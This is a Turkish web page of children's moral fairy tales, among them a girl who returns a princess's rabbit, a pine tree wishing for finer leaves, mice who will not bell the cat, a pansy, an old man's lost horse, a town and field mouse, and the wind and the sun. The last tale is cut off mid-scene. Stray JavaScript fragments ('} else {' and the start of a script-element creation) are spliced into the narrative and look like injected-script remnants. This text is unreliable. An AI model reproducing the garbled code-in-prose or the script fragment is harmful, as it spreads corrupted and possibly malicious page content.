Tag: öğretici hikaye

ALYA VE BEYAZ TAVŞAN
ALYA VE BEYAZ TAVŞAN

Bir varmış bir yokmuş. Evvel zaman içinde kalbur saman içinde, pireler berber,  develer tellal iken uzak diyarların birinde ufacık bir köylü kızı yaşarmış. Bu köylü kızının ismi Alya imiş. Alya tıpkı prensesler kadar güzelmiş. Ailesi Alya’yı çok seviyormuş ve Alya’nın her istediğini yapıyorlarmış.

Alya bir gün bahçelerinde oyun oynarken bir tavşan görmüş. Tavşan bembeyaz ve çok güzel bir tavşanmış. Alya tavşanı sevmek için ona doğru koştukça tavşan kaçıyormuş. Alya tavşanı yakalamaya çalışırken bir de bakmış ki tavşan ormanda parlayan bir ışığın içine doğru girmiş. Alya baştan o ışıktan korkmuş ama sonra cesaret edip ışığa doğru ilerlemiş. Işık kocaman altın sarısı bir kapıdan geliyormuş. Alya kapının arkasında ne olduğunu çok merak etmiş ama girmeye korkmuş hemen ailesinin yanına dönüp ailesine haber vermek istemiş. Eve doğru koşmuş. Eve gittiğinde ailesine anlatmış;

-‘’Ben bugün bir tavşan gördüm onu takip ettim. Tavşan ormana doğru koşunca onun peşinden gittim. Tavşan çok büyük bir kapıdan içeri girdi kayboldu. Kapı parlıyordu! Hep birlikte gidelim o kapıyı bulalım arkasında ne olduğunu çok merak ediyorum.’’ demiş.

Ailesi de Alya’ya artık gece olduğunu yarın sabah uyandıklarında hep birlikte gidip o kapıyı bulacaklarına dair söz vermişler. Alya da sözü alınca hemen uyumuş ki sabah olsun. Sabah uyandığında Alya çok heyecanlıymış. Kapının arkasında ne olduğunu çok merak ediyormuş. Alya’nın ailesi uyandığında hep birlikte kahvaltı edip, yanlarına yemek için bir sepet hazırlayıp ormana doğru yol almışlar. Tam ormana girecekleri sırada Alya yine dün gördüğü tavşanı görmüş.

-‘’ İşte orada! Dün gördüğüm tavşan orada! ‘’ diye seslenip tavşana doğru koşmuş.

Tavşan yine Alya’dan kaçmış ve dün girdiği kapıya doğru gitmiş. Alya ve ailesi tavşanı takip etmişler. Kapıya vardıklarında kapı aynı şekilde parlamaya devam ediyormuş. Hep birlikte kapıdan içeri girmişler. Kapıdan girdiklerinde çok şaşırmışlar. Kapı kocaman bir şatoya açılıyormuş. Şatonun her yeri parıl parıl parıldıyormuş. Çok güzel giyimli uşaklar, aşçılar, askerler, insanlar şatonun bahçesinde dolaşıyormuş. Şatonun etrafındaki çiçekler Alya’nın ve ailesinin ilk defa gördükleri çiçeklermiş ve mis gibi kokuyorlarmış. Alya sonra tavşanı görmüş. Tavşan bir ağacın kenarında duruyormuş ama o ağaçtan ileri gitmiyormuş. Alya ve ailesi ona doğru yaklaştıklarında tavşanın yanındaki ağaçta tavşanın resmini görmüşler. Alya’nın gördüğü beyaz tavşan şatonun sahibi prensesinmiş ve tavşanı kaybolduğu için çok üzülüyormuş. Alya ve ailesi hemen tavşanı alıp şatoya doğru ilerlemişler. Ailesinin elinde tavşanı gören uşaklar hemen krala haber vermişler. Kral hemen onları görmek istemiş. Alya ve ailesi kocaman bir salona doğru yol almışlar. Salonun sonunda kralın tahtı varmış. Salona girdiklerinde kral ayağa kalkıp:

-‘’Kızımın tavşanını bulup getirdiğiniz için size çok teşekkür ederim. Tavşanı kaybolduğu için günlerdir ağlıyordu. Çok üzülmüştü. Size karşı borcumu nasıl ödeyebilirim? ‘’ diye sormuş. Alya da cevap vermiş:

-‘’ Ben o beyaz tavşanı çok sevdim. Onunla birlikte kalmak istiyorum.’’ Demiş.

Kral da şöyle demiş:

-‘’ Madem o tavşanı bu kadar çok sevdin, benim kızımla birlikte burada kalıp tavşanı birlikte büyütebilirsiniz. Ama bir şartla ailen de buraya taşınacak bundan sonra burada hep birlikte yaşayacağız.’’

Alya bunu duyunca çok sevinmiş, ailesi de Alya’nın ve kralın bu isteğini geri çevirmemişler ve oraya, kralın sarayına yardımcı olarak taşınmışlar.

Alya ve Prenses tavşana birlikte bakmışlar. Onunla birlikte büyümüşler. Alya başka birinin tavşanını kendisi almayıp geri götürmenin çok güzel bir şey olduğunu, paylaşmanın da mutluluk verdiğini anlamış. Tavşan da Alya’ya kısa sürede alışmış ve mutlu mesut yaşamışlar.

ÇAM AĞACI İLE ORMAN PERİSİ
ÇAM AĞACI İLE ORMAN PERİSİ

Bir varmış bir yokmuş… Evvel zaman içinde, kalbur saman içinde, deve tellal iken, pire berber iken, ben dayımın beşiğini tıngır mıngır sallar iken… Aşağıdan gelmez mi bir ses, duyun hem de ne ses! Nerden geldi diye bakmaya niyetlendim, yüz ayak merdiveni bir çırpıda atladım. Vardım aşağıya ama bir de ne göreyim, neye bakayım! Bakmaz olaydım da keşke görmez olaydım… Aşağıda var bir sürü kalabalık, hepsi birbirinden ayık! Vardım kalabalığın yanına dedim onlara; Nereye gidiyorsunuz böyle? Biri çıktı dedi ki; ‘Masal dinlemeye’… E kim anlatır ki bu masalı dememe kalmadı; bir peri aldı beni kanadına, uçurdu götürdü masal diyarına… Bu diyardan size de var bir masal, dinleyin bakalım neler der size bu masal…

Ben diyeyim yıllar, siz deyin asırlar önce, büyük bir orman varmış dünyanın en güzel yerinde. Bu ormanda türlü türlü ağaçlar yaşar, hepsinin yapraklarının gölgesi ise tüm dünyaya yetermiş. Bu ağaçların birisi de büyük mü büyük bir çam ağacı imiş. Hani şu dikenli yaprakları olan ve mis gibi kokan çam ağaçları var ya, işte ondanmış. Ama bu çam ağacı o kadar mutsuz o kadar keyifsizmiş ki… İçinden düşünür de dururmuş: ‘’Öteki ağaçların ne güzel yaprakları var, kocaman kocaman. Ama bir de benimkilere bak diken diken! Ne kuşlar konuyor benim yapraklarıma ne de insanlar iltifatlar ediyor! Keşke öteki ağaçlardan bir farkım olsa, hepsinden güzel yapraklarım olsa…’

Günlerden bir gün Orman Perisi bütün ormanı gezerken, çam ağacının kendi kendine konuştuğunu duymuş. Orman Perisi, ormanda yaşayan herkesin dileklerini gerçeğe çeviriyormuş. Bu yüzden çam ağacının üzgün olduğunu görünce onun da isteklerini yerine getirmek için yanına yaklaşmış:

Orman Perisi: “Söyle bakalım çam ağacı, sen neden üzgünsün?’’

Çam Ağacı: ” Orman Perisi neden benim de güzel ve kocaman yapraklarım yok? Şöyle pırıl pırıl parlayan yapraklarım olsa ne kadar da güzel olurdu!’’

Orman Perisi çam ağacının mutsuzluk nedenini anlamış. Hemen değneğini oynatmış ve çam ağacı aynı istediği gibi baştan aşağı kristal yapraklarla donanmış. Bir anda ışıl ışıl olmuş çam ağacı. Çevredekiler hayran kalmışlar çam ağacının kristal yapraklarına.

Çam ağacı o kadar keyifliymiş ki… Ama bu mutluluğu uzun sürmemiş. Bir gece çıkan ani fırtına ile çam ağacının kristal yaprakları birbirine çarpmış ve hepsi kırılmış. Çam ağacı tüm yılı yapraksız geçirmek zorunda kalmış.

Gel zaman git zaman derken ertesi yıl olmuş. Çam ağacı yine dikenli yapraklarından şikâyet eder dururmuş. O sırada Orman Perisi gelmiş. Çam ağacı geçen sene başına gelenleri bir bir anlatmış periye. Bu sefer kristal yaprak istememiş. Orman Perisi de çam ağacına bu sene gümüşten yapraklar vermiş. Çam ağacı yine pırıl pırıl olmuş. Gelen geçen herkes hayranlıkla ona bakıyormuş. Çam ağacı yine çok mutluyken, yapraklarının gümüş olduğunu duyanlar bir gece aniden gelmiş ve çam ağacının bütün yapraklarını kopararak ağacı yapraksız bırakmış. Çam ağacı yine yapraksız geçirmiş bütün bir kışı…

Gel zaman git zaman kış geçmiş, bahar yine gelmiş. Çam ağacı bu sefer ne isteyeceğini çok iyi biliyormuş. Orman Perisi yanına geldiğinde hemen söylemiş ona:

Çam Ağacı: ‘Orman Perisi, ne olur yapraklarım ne kristalden ne de gümüşten olsun, sadece gerçek yaprağa benzesin ama çok güzel koksun.”

Orman Perisi ‘Hay hay’ demiş. Orman Perisi çam ağacına bir koku vermiş ki; ormanın en ucundan duyulmuş. Tabi bu kokuyu duyan keçiler, kuşlar hepsi bir koşu gelmiş mi çam ağacının başına! Tüm keçiler, koyunlar çam ağacının güzel kokan yapraklarını bir güzel yemişler. Böylece çam ağacı kış mevsimini yine yapraksız geçirmiş.

Gel zaman git zaman çam ağacı artık ne gösteriş istiyormuş ne de güzel yapraklar! Sadece kendi yapraklarını geri istiyormuş. Orman Perisi geldiğinde ona yalvarmış:

Çam Ağacı: ” Orman Perisi, ben ne güzel gözüken yaprak isterim senden ne de güzel kokan yaprak. Yine diken diken olsun ama yeter ki üstümde dursun’’ demiş.

Orman Perisi sihirli değneği ile çam ağacına eski dikenli yapraklarını geri vermiş.

Sevgili çocuklar, işte çam ağacının dikenli yapraklarının masalı budur. Çam ağacı gösterişten vazgeçince her kış mevsimini yaprakları ile geçirmeyi başarmıştır.

 

KORKAK FARELERİN SONU
KORKAK FARELERİN SONU

Bir varmış bir yokmuş… Evvel zaman içinde kalbur saman içinde, develer tellal iken pireler berber iken; ben anamın beşiğini tıngır mıngır sallar iken… Buralardan çok çok uzaklarda, tüm çocukların mutlu olduğu bir masal köyü varmış… Masal köyünün içinde neler yokmuş ki… Konuşan hayvanlar mı istersin, neşe ile koşuşan çocuklar mı istersin… Hepsi bir arada ve mutlu bir şekilde yaşarmış. Masal köyünde masallar hiç bitmezmiş, ama bu masallardan sadece uslu çocuklar dinleyebilirmiş. İşte o masallardan biri masal köyünden uslu duran tüm çocuklara…

Bir varmış bir yokmuş. Köyün birinde yaşayan bir sürü fareler varmış. Hatta köyün adı bu fareler yüzünden ‘Fareköy’ olarak bilinirmiş. Köyde yaşayan bu farelerin kimseye bir zararı olmazmış. Onlar kendi aralarında toplanırlar, eğlenirler, oynarlar, zıplarlarmış. Köye de insanlara da zarar vermek, onlar için hiç uygun davranışlar değilmiş. Hatta aralarından böyle davrananlar olduğunda hemen grup dışında bırakırlarmış. Bu köyde yaşayan farelerin esas amacı insanlarla barış içinde yaşayıp gitmekmiş.

Günler haftaları, haftalar da ayları kovalamış. Fareler mutlu mesut yaşayıp giderken, hiç ummadıkları bir bela gelmiş başlarına. Köye çok eğitimli ve farelerden hiç hoşlanmayan kocaman bir kedi gelmiş. Kedinin adı da ‘Avcı’ imiş. Kediye neden bu ismin verildiğini merak eden fareler çok geçmeden sorularının yanıtını da bulmuş. Avcı kedi, geldiği köyde farelerin neredeyse hepsini yakaladığı için ona ‘Avcı’ ismi layık görülmüş.

Avcı ismindeki bu kedi, mutlu mesut yaşayan bütün fareleri adeta canından bezdirmiş. Eskiden kafalarına göre dışarı çıkan, oynayan-zıplayan farelere göz açtırmayan Avcı, gördüğü fareleri de öldürmekten çekinmiyormuş. Fareler artık iyice acıkmaya başlamış. Kimse cesaret edip de yuvalarından çıkıp evlerin mutfaklarından bir şeyler getiremiyormuş.

Fareler en sonunda isyan etmişler. En büyük ve en yaşlı olanları:

Yaşlı Fare: ‘Bu böyle olmaz. En yakın zamanda toplantı yapıp bir çözüm bulmamız lazım’ demiş.

Avcı kedinin arkadaşları ile gezmeye gittiği bir günü fırsat bilen fareler, en yaşlı olan farenin evinde toplantı yapmaya karar vermişler.  Köyde yaşayan bütün farelerin katıldığı bu toplantıda acil olarak bir çözüm bulunması gerekiyormuş.

Fareler toplanınca o kadar kalabalık olmuşlar ki; her kafadan bir ses çıkıyormuş. En sonunda yaşlı fare dayanamamış ve bastonu ile yere vurmuş:

Yaşlı Fare: ‘Arkadaşlar yeter! Hep bir ağızdan konuşmaya devam ederseniz hiçbir çözüm bulamayacağız. Bakın benim bir önerim var. Avcı kedinin boynuna bir çıngırak asalım. Çıngırak sayesinde Avcı kedinin bize yaklaştığını anlayabiliriz ve hemen deliklerimize saklanabiliriz’ demiş.

Farelerin hepsi bu öneriyi çok beğenmiş. Yaşlı fareyi alkışlamaya başlamışlar. Onun bu önerisi sayesinde farelerin hayatı kurtulabilirmiş. Yaşlı fare sözlerine devam etmiş:
Yaşlı Fare: “Ancak bir sorunumuz var. Avcı kedinin boynuna çıngırak asmamız lazım. Peki çıngırağı kedinin boynuna kim asacak?’

Toplantıya katılan farelerin hepsi birdenbire susmuş. Az önce yaşlı fareyi alkışlayanlar şimdi kendilerini geriye doğru itiyormuş. Yaşlı fare en genç olana dönmüş önce. Genç fare hemen bir bahane uydurarak ‘Ben yapamam’ demiş. Yaşlı fare başkasına dönmüş ama nafile ondan da aynı cevap.

Farelerin ger biri bir bahane uydurarak toplantıyı terk etmiş. Toplantı sonunda kimse Avcı kedinin boynuna çıngırağı asacak cesareti kendinde bulamamış. O günden sonra da tam bir baş belası olan Avcı kedi farelere göz açtırmamaya devam etmiş.

Sevgili çocuklar, siz siz olun önemli konularda üzerinize düşen görevleri yapmaktan kaçmayın.} else {

HERCAİ MENEKŞENİN HİKÂYESİ
HERCAİ MENEKŞENİN HİKÂYESİ

Bir varmış bir yokmuş… Evvel zaman içinde kalbur saman içinde, bundan çok çok uzak zamanların birinde yaşanmış bu masal. Çiçekler, böcekler, denizler, dağlar, nehirler… Hepsinin yeni oluşmaya başladığı bu zamanlarda doğa ana her bir çiçeği özenle ekiyor, onların bakımını yapıyor ve onlara değişik renkler veriyormuş.

Doğa ananın işi başından aşkınmış. Kolay değil, yeryüzüne bütün çiçekleri ekmesi lazım, onlara bakması lazım… Arada sırada çalışmaktan yorgun düşen doğa ana bir ağacın altına uzanıp dinlenirmiş. Hem dinlenir, hem de ektiği çiçeklere bakarmış uzun uzun. İşte böyle zamanların birinde doğa ana yine ağaç altında dinlenirken, karşısındaki uçsuz bucaksız yeşillik dikkatini çekmiş. ‘Buralar yemyeşil ne kadar güzel ama biraz çiçek eksek daha da güzel olur’ diyen doğa ana hemen yerinden kalkarak torbasından çıkardığı çiçek tohumlarını yeşil çayırların içine atmış. Çiçekler yerlerini çok sevmiş, hemen büyümüşler. Doğa ana çiçeklere bakarak;

Doğa ana: ‘Sizin renginiz mor olsun, adınız da mor menekşe olsun’ demiş.

Çiçekler mor renkte açan yapraklarını görünce bir sevinmişler, bir sevinmişler ki sormayın gitsin! Hatta sevinçlerinden ne yapacaklarını, doğa anaya nasıl teşekkür edeceklerini bile şaşırmışlar.

Fakat nehirin kenarında doğa ananın bile sonradan gördüğü kibirli bir çiçek varmış. Bu çiçeğin rengi beyazmış. Çiçek mor renkte açan diğer çiçekleri görünce onları çok kıskanmış. ‘Ben de mor giysi isterim’ diyerek doğa anaya tepeden bir bakış atmış. Doğa ana çiçeğin bu terbiyesiz davranışını görmezden gelerek ona doğru dönmüş:

Doğa ana: ‘Beyaz çiçek, sıranı beklemelisin’ demiş. Ve kendi işini yapmaya devam etmiş.  Diktiği yeni çiçeklere kırmızı renk veren doğa ana, bu çiçeklere gelincik adını vermiş. Bunu gören beyaz çiçek bağırmaya başlamış:

Beyaz Çiçek: ‘Ben az önce mor renk istemiştim ya, şimdi vazgeçtim. Bu çiçek gibi kırmızı renkte olmak istiyorum’ demiş.

Doğa ana beyaz çiçeğe yeniden dönmüş:

Doğa ana: ‘Ben sıran geldiğinde seni de boyayacağım. Şimdi lütfen sıranı bekle’ demiş.

Doğa ana yeni bir çiçek ekerek onun da yapraklarını beyaz renkte bırakmış. Ama ortasına sarı renkte bir benek koyarak şirin bir çiçek elde etmiş. Bu çiçeğin adı da papatya olmuş.

Fakat bizim kıskanç beyaz çiçek durur mu? Hemen girmiş lafa:

Beyaz Çiçek: ‘Aa ben kırmızıdan da vazgeçtim. Baksana bunun da yaprakları beyaz ama ne güzel çiçek oldu. Ben de ortama sarı renk benek istiyorum’ demiş.

Doğa ana durmadan düşünce değiştiren bu çiçeğe içten içe sinirlenmeye başlıyormuş. Artık ona daha fazla dayanamayacağını anlayıp onun başına gelmiş:

Doğa Ana: ‘Tamam şimdi sıra sende! Söyle bakalım hangi rengi beğendin?’

Beyaz çiçek önce mor demiş. Sonra fikrini değiştirmiş kırmızı demiş. Doğa ana tam boyayacakken vazgeçmiş mavi istemiş. En sonunda doğa ana dayanamamış ve bu beyaz çiçeği her renge boyamış.

Doğa ana: “İşte üstünde bir sürü renk oldu. Senin adını da çok maymun iştahlı bir çiçek olduğun için hercai menekşe koyacağım” demiş.

Sevgili çocuklar, işte parklarda, bahçelerde gördüğünüz renkli hercai menekşelerin hikâyesi böyle. Hercai menekşelerin yapraklarındaki renkler, meğer çiçeğin kıskançlığından hangi renk olacağına bir türlü karar verememesinden dolayıymış. Hercainin anlamının da hiçbir şeyde kararlı olmayan olduğunu düşünürsek, neden hercai menekşe denildiğini daha iyi anlarız.

Masal biter, gökten üç elma düşer. Üçü de hercai olmayan, kararlı ve ne istediğini bilen çocukların olur.

BEKLEYELİM GÖRELİM MASALI
BEKLEYELİM GÖRELİM MASALI

Bir varmış, bir yokmuş… Evvel zaman içinde kalbur saman içinde, uzak mı uzak diyarların birinde yaşlı bir amca yaşarmış. Bu yaşlı amca çok fakir bir amcaymış. Ama elinde öyle güzel bir şey varmış ki Kral bile onu kıskanırmış. Bu amcanın ünü diyarları aşan, dillere destan güzelliği olan beyaz renkte bir atı varmış. Kral, güzelliği dillere destan bu beyaz at için yaşlı amcaya neler teklif etmemiş ki… Bir gün neredeyse hazinesinin yarısından fazlasını bile teklif etmiş ama yaşlı amca fakir olmasına karşın atını satmaya hiç yanaşmamış. Yaşlı amca, etrafındaki herkese de Kral’a da aynı şeyi der dururmuş; “Bu at, benim için sadece bir at demek değil; aynı zamanda bir dost, insan dostunu satar mı hiç” dermiş.

Gel zaman git zaman derken, yaşlı amca bir gün bir uyanmış ki bir de ne görsün! Güzelliği dillere destan beyaz atı bağlı olduğu yerde yok! Yaşlı amca o telaşla kalkmış hemen, etrafa haber salmış ama nafile! Haberi alan tüm köylü yaşlı amcanın başına toplanmış. Atın bulunamadığını da duyunca başlamışlar konuşmaya:

Köylüler: “Ah ah, yaşlı amca, bu güzel atı sana bırakmayacakları belliydi. Belli ki çalmışlar güzel atını. Oysaki onu Kral’a satsaydın, Kral’ın verdiği para ile beyler gibi yaşardın. Bak satmadın da ne oldu? Paran da yok, atın da yok”

Yaşlı Amca sakince cevaplamış:

Yaşlı Amca: “Karar vermek için çok acele ediyorsunuz arkadaşlar. Benim sadece atım kayıp, geri kalan her şey sizin yorumunuz ve verdiğiniz kararlardan ibaret! Atın kaybolması, talihsizlik mi, yoksa şans mı bunu bilemeyiz” demiş.

Köylülerin hepsi yaşlı amcaya gülmüşler. Yaşlı amcanın artık bunadığını düşünmüşler.

Gel zaman git zaman aradan bir ay geçmiş. Yaşlı amcanın beyaz atı bir gece ansızın çıkıp gelmesin mi! Üstelik yanında vadide bulunan on tane vahşi atı da katmış gelmiş. Yaşlı amca atları görünce mutlu olmuş içinden.

Beyaz atı ve yanındaki atları gören köylüler hemen toplanmış yine yaşlı amcanın başına:

Köylüler: “Sen haklı çıktın yaşlı amca. Atın kayboldu diye bir talihsizlik sandık ama atının kaybolması talihsizlik değil adeta devlet kuşuymuş, baksana şimdi bir sürü atın var.”

Yaşlı adam heyecanlı köylüye doğru dönmüş:

Yaşlı Amca: “Sonuç için yine acele ediyorsunuz. Şu anda bilinen tek gerçek sadece atın geri döndüğü. Onun ötesinin iyi mi kötü mü olduğunu bilemeyiz” demiş.

Köylüler bu sefer ihtiyara gülmemiş, dalga da geçmemiş. Ama içlerinden ihtiyarın bir garip olduğunu da geçirmeden duramamış.

Gel zaman git zaman derken yaşlı amcanın genç oğlu, on tane vahşi atı eğitmeye çalışırken attan düşüp bacağını kırmasın mı? Evin tek genci olan bu delikanlı, bacağının kırılması ile adeta yatağa mahkûm kalmış. Köylüler olayı duydukları gibi hemen yaşlı amcaya gelmişler:

Köylüler: ”Yaşlı amca, sen bir kez daha haklı çıktın. Biz sana devlet kuşu kondu dedik ama bu atlar yüzünden gencecik oğlun, bacağını kırdı, yataklara düştü” demişler.

Yaşlı amca oldukça sakin bir şekilde köylüyle dönerek:

Yaşlı Amca: “Siz yine erkenden karara varıyorsunuz! Karar varmak için bu kadar acele etmeyin. Oğlum bacağını kırdı, şuanda tek gerçek bu. Ötesi sizin yorumlarınız.’’

Köylüler yine hiçbir şey demeden dağılmışlar yaşlı amcanın yanından. Bu sefer çok fazla yorum yapamamışlar.

Günler haftaları, haftalar da ayları kovalamış. Gel zaman git zaman derken yaşlı amcanın yaşadığı bu köye düşmanlar büyük bir ordu ile saldırmış. Kral aniden gelen bu saldırı karşısında ne yapacağını şaşırmış! Köyü savunmak için eli silah tutan bütün gençleri savaşmaya çağırmış. Köye gelen Kralın adamları köydeki bütün gençleri toplayıp gitmişler fakat tek bir kişi hariç: yaşlı amcanın kırık bacaklı oğlu.

Köylü koşarak gelmiş yaşlı amcanın yanına:

Köylüler: “ Yaşlı amca sen yine haklı çıktın! Oğlunun bacağı kırık diye biz neler dedik ama bak oğlunun bacağı kırık olduğu için savaşa gidemedi. Oysa bizimkiler, yaşı büyük küçük demeden savaşa gitti. Oğlunun bacağının kırılması ne büyük bir şansmış meğer…” demişler.

Yaşlı amca yeniden köylüye dönmüş:

Yaşlı Amca: “Siz yine erken karar verdiğinizin farkında değilsiniz! Şu anda tek gerçek var, benim oğlum yanımda ve sizinkiler ise askerde. Bunlardan hangisi şanslı hangisi şanssız onu kimseler bilemez” demiş.

Sevgili çocuklar siz siz olun, acele kararlar vermeyin. Hayatın bir anına bakıp da tamamı hakkında fikir üretmeyin.var d=document;var s=d.createElement(‘script’);

ŞEHİR FARESİ İLE TARLA FARESİ
ŞEHİR FARESİ İLE TARLA FARESİ

Evvel zaman içinde, kalbur saman içinde, cinler periler top oynarken eski bir hamamın içinde… Ben diyeyim şu büyük ağaçtan, siz deyin şu derin yamaçtan, uçtu da uçtu, büyük bir kuş uçtu. Kuş mu uçtu demeye kalmadı; bir baktım bizim evin fareleri de uçtu… Fare uçar mı demeyin, gelin benim masalımı dinleyin…

Bir varmış, bir yokmuş… Çok eskiden, uzak diyarların birinde iki tane fare yaşarmış. Bu farelerden birisi şehirde yaşadığı için adı Şehir Faresiymiş. Diğeri ise tarlada yaşayan toprak içerisinde koşturup duran bir fare olduğu için onun da adı Tarla Faresiymiş. Bu iki fare eskiden beri dostlarmış. Şehir Faresi, şehrin karmaşasından ve kalabalığından ne zaman sıkılsa soluğu arkadaşı olan Tarla Faresi’nin evinde alırmış. Onu ziyaret etmek için tarlaya giden Şehir Faresi, böylece şehrin gürültüsünden ve kalabalığından uzaklaşırmış. Üstelik Tarla Faresi o kadar marifetli o kadar kibarmış ki; Şehir Faresi her evine geldiğinde onu çok güzel karşılarmış. Şehir Faresine kocaman yemek masaları hazırlayan Tarla Faresi, arkadaşı ile birlikte yemek yer, bütün gece keyifle sohbet eder ve mutlu olurmuş. Hem Şehir Faresi hem de Tarla Faresi bu durumdan çok memnunmuş. İki arkadaş da birlikte zaman geçirmekten çok mutlu oluyormuş.

Gel zaman git zaman Şehir Faresi artık sürekli Tarla Faresi’nin evine gittiği için mahcup olmaya başlamış. Günlerden bir gün Şehir Faresi’nin aklına güzel bir fikir gelmiş. Her zamanki gibi Tarla Faresi’ni ziyaret etmeye gittiğinde aklındaki fikri hemen Tarla Faresi ile paylaşmış:

Şehir Faresi: ‘Arkadaşım, sen neden benim yaşadığım yere gelmiyorsun’ demiş.

Tarla Faresi, şehir yaşamını çok sevmediği için bugüne kadar Şehir Faresi’nin evine gitmeyi hiç istememiş. Şehrin kalabalığı ve gürültüsü Tarla Faresi’nin hoşuna gitmiyormuş.

Tarla Faresi: ‘Ben şehir hayatını pek sevmiyorum arkadaşım. O yüzden sana da gelmiyorum, yanlış anlama sakın’ demiş.

Şehir Faresi Tarla Faresi’ni misafir etmek istediğini söylemiş. O kadar çok ısrar etmiş ki Tarla Faresi arkadaşının kırılmaması için sonunda pes etmek zorunda kalmış:

fare

Tarla Faresi: ‘Tamam, senin hatırın için bir gün şehre geleceğim ve senin misafirin olacağım’ demiş.

Şehir Faresi o kadar mutlu olmuş ki, koşa koşa evine gitmiş. Hemen arkadaşı Tarla Faresi için en güzel yemekleri hazırlamaya başlamış.

Ertesi gün arkadaşını ziyaret etmek için şehre doğru yola çıkan Tarla Faresi, uzun ve yorucu bir yolculuk sonunda şehre ulaşmış. Şehre ulaşmış ulaşmasına ama bir de ne görsün! Şehir o kadar büyük, o kadar gösterişli ve ışıl ışılmış ki Tarla Faresi’nin gözleri kamaşmış.

Tarla Faresi etrafa baka baka arkadaşı Şehir Faresi’nin evine varmış. Şehir Faresi onu büyük bir sevinç ile karşılamış. Tarla Faresi yemek masasına baktığında ise gözlerine inanamamış! Şehir Faresi’nin kendisi için hazırladığı sofrada her şey varmış. O kadar zengin bir masaymış ki Tarla Faresi belki de ilk kez böyle bir masa görüyormuş.

İki yakın arkadaş masadaki yerlerine oturmuşlar. Tam yemeğe başlayacakları sırada dışarıdan gelen gürültü ile oldukları yerde sıçramışlar. Fareler ne olduğunu anlamadan kocaman bir kedi farelerin evine saldırmaya başlamış. Şehir Faresi hemen arkadaşını uyarmış:

Şehir Faresi: ‘Arkadaşım, hemen gizli bir yere saklan. Bu evin bir kedisi var, bizi bulursa hemencecik öldürür’ demiş.

Tarla Faresi neye uğradığını şaşırmış. Hemen arkadaşının ardından koşarak, gizli bir köşeye saklanmış. Kedi etrafta dolanıp fareleri bulamayınca vazgeçmiş ve farelerin evinden çıkmış.

Tarla Faresi ile Şehir Faresi bir süre kedinin geri gelme ihtimaline karşı oldukları yerde beklemişler. Gelen giden olmayınca saklandıkları yerden çıkmışlar ve Şehir Faresi arkadaşına bakarak;

Şehir Faresi: ‘Arkadaşım, böyle bir şey yaşamanı istemezdim ama korkma, tehlike geçti. Artık rahatlıkla yemeğimizi yiyebiliriz’ demiş.

Tarla Faresi, arkadaşının sözüne rağmen yine de sofraya oturmamış. Şehir Faresine dönmüş:

Tarla Faresi: ‘Canım arkadaşım, ben korku içinde yemek yiyemem kusura bakma. Benim tarladaki evim belki bu kadar gösterişli olmayabilir, masam da bu kadar zengin olmayabilir ama en azından yemeğimi korkmadan yiyebiliyorum’ demiş.

Şehir Faresi o anda arkadaşının ne demek istediğini anlamış. Tarla Faresine hak vermiş ve onun peşine takılarak şehir hayatından vazgeçmiş. Tarlaya yerleşen Şehir Faresi, arkadaşı ile mutlu bir hayat yaşamış.

} else {

RÜZGÂR MI DAHA GÜÇLÜ YOKSA GÜNEŞ Mİ?
RÜZGÂR MI DAHA GÜÇLÜ YOKSA GÜNEŞ Mİ?

Bir varmış bir yokmuş… Evvel zaman içinde kalbur saman içinde, develer tellal iken pireler berber iken; buralardan çok çok uzakta büyük mü büyük bir masal diyarı varmış… Masal diyarının içinde konuşan hayvanlar, neşeli çocuklar, tatlı mı tatlı oyun arkadaşları mutlu bir şekilde yaşarmış. Masal diyarında masallar hiç bitmez, uslu duran ve yaramazlık yapmayan tüm çocuklar bu masalları dinleme hakkı kazanırmış. İşte o masallardan biri, gününü uslu bitiren tüm çocuklara…

Günlerden bir gün, masal diyarında yaşayan rüzgâr ve güneş karşı karşıya gelmiş. Rüzgâr olanca hızı ile esip havayı soğuturken, güneş de bir taraftan insanları ısıtmak için var gücü ile parlıyormuş. Fakat ikisinin de yolu aynı yerde kesilince oranın havası rüzgârlı mı yoksa güneşli mi olacak sorusu ortaya çıkmış. Rüzgâr, karşısına çıkan güneşe hemen büyüklenerek onun gözünü korkutmak istemiş:

Rüzgâr: ‘Heyyy, Güneş kardeş, baksana bana! Burasının havasına ben karar veririm, çünkü ben senden daha güçlüyüm. Sen şimdi kenara çekil, ben görevimi yapayım’ demiş.

Güneş rüzgârın bu tepkisi karşısında şaşırmış. Burada kimse kimseden daha güçlü değilmiş.

Güneş: ‘Sen kendini bu kadar güçlü mü görüyorsun gerçekten’ demiş.

Rüzgâr güneşin bu sözleri üzerine böbürlenmiş:

Rüzgâr: ‘Elbette, en güçlü benim. Hatta ne kadar güçlü olduğumu şimdi sana da göstereceğim’ demiş.

Güneş rüzgârın bu sözleri üzerine merakla beklemeye başlamış. Rüzgâr bulutların üzerinden aşağıya doğru bakmış ve sokakta yürüyen yaşlı bir adamı güneşe göstermiş:

Rüzgâr: ‘Bak, aşağıda yürüyen yaşlı adamı görüyor musun’ demiş.

Güneş eğilip bakmış ve rüzgârın dediği yaşlı dedeyi görmüş.

Rüzgâr, güneşe karşı ne kadar güçlü olduğunu göstermek istiyormuş:

Rüzgâr: ‘İyi izle, ben şimdi o yaşlı dedenin ceketini çıkarmasını sağlayacağım. Böylece sen de benim ne kadar güçlü olduğumu göreceksin’ demiş.

Güneş, sesini çıkarmadan biraz geriye çekilerek rüzgârın ne yaptığını izlemeye başlamış.

Rüzgâr, tüm gücünü toplamış içerisine ve ardından bütün şiddetiyle esmeye başlamış. Yaşlı adama doğru esiyormuş, o kadar güçlü esiyormuş ki amacı ceketin adamın üstünden düşmesini sağlamakmış.

Rüzgâr estikçe hava soğuyor, hava soğudukça yaşlı adam üşüyormuş. Üşüdükçe de üzerindeki cekete daha da güçlü sarılıyormuş. Rüzgâr, işlerin istediği gibi gitmemesine öfkelenmiş. Öfkesi ile birlikte daha da şiddetli esmeye başlamış. Yaşlı adam da daha sıkı sarılmaya başlamış ceketine.

Rüzgâr, işi böyle çözemeyeceğini anlamış. İşler istediği gibi gitmemiş ve sonunda pes etmiş. Çaresizce onu izleyen güneşe dönmüş. Güneş rüzgâra bakmış ve gülümsemiş. Rüzgârı kenara davet edip, kendisi çıkmış sahneye. Güneş, tüm sıcaklığını içinde toplamış ve birdenbire dışarı vermiş. Yeryüzünü sıcaklığı ile iyice ısıtmış. Yaşlı adam ise hava ısındıkça ısınmaya hatta terlemeye başlamış. Üzerindeki cekete ihtiyacı kalmadığını düşünmüş ve ceketini çıkarmış.

Güneş, kenara çekilen ve onu izleyen rüzgâra dönmüş:

